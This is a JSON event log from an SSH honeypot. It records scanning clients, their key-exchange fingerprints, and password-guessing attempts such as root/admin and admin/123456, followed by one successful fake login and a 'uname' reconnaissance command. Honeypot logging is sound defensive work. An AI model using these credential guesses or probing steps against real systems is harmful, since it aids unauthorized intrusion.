{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46754,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cf6f37c9bb7","protocol":"ssh","message":"New connection: 83.168.110.85:46754 (10.17.0.5:22) [session: 0cf6f37c9bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:07.786790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:07.791757Z","src_ip":"83.168.110.85","session":"0cf6f37c9bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:07.914633Z","src_ip":"83.168.110.85","session":"0cf6f37c9bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:08.432721Z","src_ip":"83.168.110.85","session":"0cf6f37c9bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:09.567968Z","src_ip":"83.168.110.85","session":"0cf6f37c9bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40286,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab7864379de","protocol":"ssh","message":"New connection: 83.168.110.85:40286 (10.17.0.5:22) [session: 6ab7864379de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:14.404842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:14.409941Z","src_ip":"83.168.110.85","session":"6ab7864379de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:14.526991Z","src_ip":"83.168.110.85","session":"6ab7864379de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:15.129570Z","src_ip":"83.168.110.85","session":"6ab7864379de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:16.278949Z","src_ip":"83.168.110.85","session":"6ab7864379de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.986305952072144,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:17.419323Z","src_ip":"152.42.224.71","session":"f773269d15dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":60320,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf752dac23c","protocol":"ssh","message":"New connection: 39.117.79.36:60320 (10.17.0.5:22) [session: cbf752dac23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:18.555639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:18.560410Z","src_ip":"39.117.79.36","session":"cbf752dac23c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:18.755969Z","src_ip":"39.117.79.36","session":"cbf752dac23c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R00t@123","message":"login attempt [root/R00t@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:19.562017Z","src_ip":"39.117.79.36","session":"cbf752dac23c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:20.764078Z","src_ip":"39.117.79.36","session":"cbf752dac23c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40298,"dst_ip":"10.17.0.5","dst_port":22,"session":"c150c11972ce","protocol":"ssh","message":"New connection: 83.168.110.85:40298 (10.17.0.5:22) [session: c150c11972ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:21.483803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:21.489253Z","src_ip":"83.168.110.85","session":"c150c11972ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:21.610614Z","src_ip":"83.168.110.85","session":"c150c11972ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:21.975035Z","src_ip":"83.168.110.85","session":"c150c11972ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:23.359080Z","src_ip":"83.168.110.85","session":"c150c11972ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5fd6b89b56f","protocol":"ssh","message":"New connection: 83.168.110.85:51142 (10.17.0.5:22) [session: c5fd6b89b56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.458638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.463565Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.584871Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":63806,"dst_ip":"10.17.0.5","dst_port":22,"session":"22b72330d435","protocol":"ssh","message":"New connection: 23.131.184.100:63806 (10.17.0.5:22) [session: 22b72330d435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.895189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.903513Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.948534Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:28.954999Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:7f:ea:00:e9:7e:57:5e:9b:c7:4b:bc:18:66:ba:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnaNry0TxLJfN5W5pSL985M5LqRJauRpYdpNEVkBVlRkxwCLW/yjIiBZSuoztzBjDJEAHgnjf1cS/0KLV8VPH5UldNiuX129DySUtZpQjboKnqRa+B/ZLsuacUReaQm3IWhPDX33ntkpgFIzbnXbx0v0UamQHQEJJD63EdRlDS/3kB9HWhIaCmjFZxuncvu/yPOvzvOMggZIRmQWEZfeBMDDClR7RYTLxIkC+X2p4P8OM997D+2HpGn6CTrQ7bpY8Iz5DGzn1cU5eaWZ52PNLBJn0sgHeI11iA3RaSnVBVfilQjnZtRlaqVLMmwifea2icw4hbVx+bRM2WoonhxAoT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:7f:ea:00:e9:7e:57:5e:9b:c7:4b:bc:18:66:ba:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.164973Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:7f:ea:00:e9:7e:57:5e:9b:c7:4b:bc:18:66:ba:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnaNry0TxLJfN5W5pSL985M5LqRJauRpYdpNEVkBVlRkxwCLW/yjIiBZSuoztzBjDJEAHgnjf1cS/0KLV8VPH5UldNiuX129DySUtZpQjboKnqRa+B/ZLsuacUReaQm3IWhPDX33ntkpgFIzbnXbx0v0UamQHQEJJD63EdRlDS/3kB9HWhIaCmjFZxuncvu/yPOvzvOMggZIRmQWEZfeBMDDClR7RYTLxIkC+X2p4P8OM997D+2HpGn6CTrQ7bpY8Iz5DGzn1cU5eaWZ52PNLBJn0sgHeI11iA3RaSnVBVfilQjnZtRlaqVLMmwifea2icw4hbVx+bRM2WoonhxAoT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.168831Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.255170Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.258930Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:95:c7:62:b9:d7:bf:3d:b3:17:55:f3:d7:dd:90:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxdEI8TExeJDDUyhcWTCtxEUhU/Nlz+9P1LrPwXgX5JvdFJXFKLQKiqaXFAV0AratWUcs6kgY9xXiubK1/qVNmewsqPn55g3RNiXkE4Wk3tqw8pprw9wKegPdiOHqOqBWfXRmYmqtxqQ0x39k2fAbWTAHXNPegVyH0oscP7vY3XaMlxRsPxN/4IV2q4XFpCjlMyFlkO/4toFeoDwuH0dZaW0b/R79KHKWWNBzeu+owMxqaMpgWNax0nBmDuxX5MSYls35Z7zyeaBOZJANCYWwlad3h86/S9BmCAirDs4yJLRy6885IMvnQfwdYo7SBX+MaLi1SCbUSTL/vOKvQ1kmnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:95:c7:62:b9:d7:bf:3d:b3:17:55:f3:d7:dd:90:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.267046Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:95:c7:62:b9:d7:bf:3d:b3:17:55:f3:d7:dd:90:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxdEI8TExeJDDUyhcWTCtxEUhU/Nlz+9P1LrPwXgX5JvdFJXFKLQKiqaXFAV0AratWUcs6kgY9xXiubK1/qVNmewsqPn55g3RNiXkE4Wk3tqw8pprw9wKegPdiOHqOqBWfXRmYmqtxqQ0x39k2fAbWTAHXNPegVyH0oscP7vY3XaMlxRsPxN/4IV2q4XFpCjlMyFlkO/4toFeoDwuH0dZaW0b/R79KHKWWNBzeu+owMxqaMpgWNax0nBmDuxX5MSYls35Z7zyeaBOZJANCYWwlad3h86/S9BmCAirDs4yJLRy6885IMvnQfwdYo7SBX+MaLi1SCbUSTL/vOKvQ1kmnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.270862Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:fd:ed:e2:e6:00:44:1c:b9:48:28:04:8e:1f:92:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzcAsXOHpQjfgReMDXCQZ9KTbZtB9nW8XOiHX9TNh/SSJsEXCqmoXNF6dBdC5uCZbUmXwlHwvTJyjNtiepJG0qRz6ZEK46tL9fkVZSqkZGLLkO+hIQoPyJjDpAWCzHQ6quxu6WYcn95NQY3o5pBc2/nUlSUQOgsyIrErui8KTzBYkAwdRpwVKpzFR6vW7iDbIKaEqY8e9AilBLMsBlzDvr5f8QOnaIt0FiOqEugvAD1+W8rn+7OEj1OyrT0su5xE5QyJrZsLrZZ+hv05BksXDGAXV/plZ4yNEiLSj5qsO+P8b+mQ0X2GHmCvxVKMV8Duk8sp307t5ZuJNHD3qErjmOeOXLx5KX+AFb50Iaoo+DHHXVb7BZLS65mjA5dwNcYovNOYzBqDZGJnGqll+x6dsMy1ugx4z3d2+VUy14cALhGr/VNIkh4HwZ8W0/09A6rmCyBDrVD8VvPxmxbov4OcPtXsHpXmMudQmjvlbo2TaBtYAyXR4etniHBaDayZamex0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:fd:ed:e2:e6:00:44:1c:b9:48:28:04:8e:1f:92:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.321634Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:fd:ed:e2:e6:00:44:1c:b9:48:28:04:8e:1f:92:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzcAsXOHpQjfgReMDXCQZ9KTbZtB9nW8XOiHX9TNh/SSJsEXCqmoXNF6dBdC5uCZbUmXwlHwvTJyjNtiepJG0qRz6ZEK46tL9fkVZSqkZGLLkO+hIQoPyJjDpAWCzHQ6quxu6WYcn95NQY3o5pBc2/nUlSUQOgsyIrErui8KTzBYkAwdRpwVKpzFR6vW7iDbIKaEqY8e9AilBLMsBlzDvr5f8QOnaIt0FiOqEugvAD1+W8rn+7OEj1OyrT0su5xE5QyJrZsLrZZ+hv05BksXDGAXV/plZ4yNEiLSj5qsO+P8b+mQ0X2GHmCvxVKMV8Duk8sp307t5ZuJNHD3qErjmOeOXLx5KX+AFb50Iaoo+DHHXVb7BZLS65mjA5dwNcYovNOYzBqDZGJnGqll+x6dsMy1ugx4z3d2+VUy14cALhGr/VNIkh4HwZ8W0/09A6rmCyBDrVD8VvPxmxbov4OcPtXsHpXmMudQmjvlbo2TaBtYAyXR4etniHBaDayZamex0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.326474Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
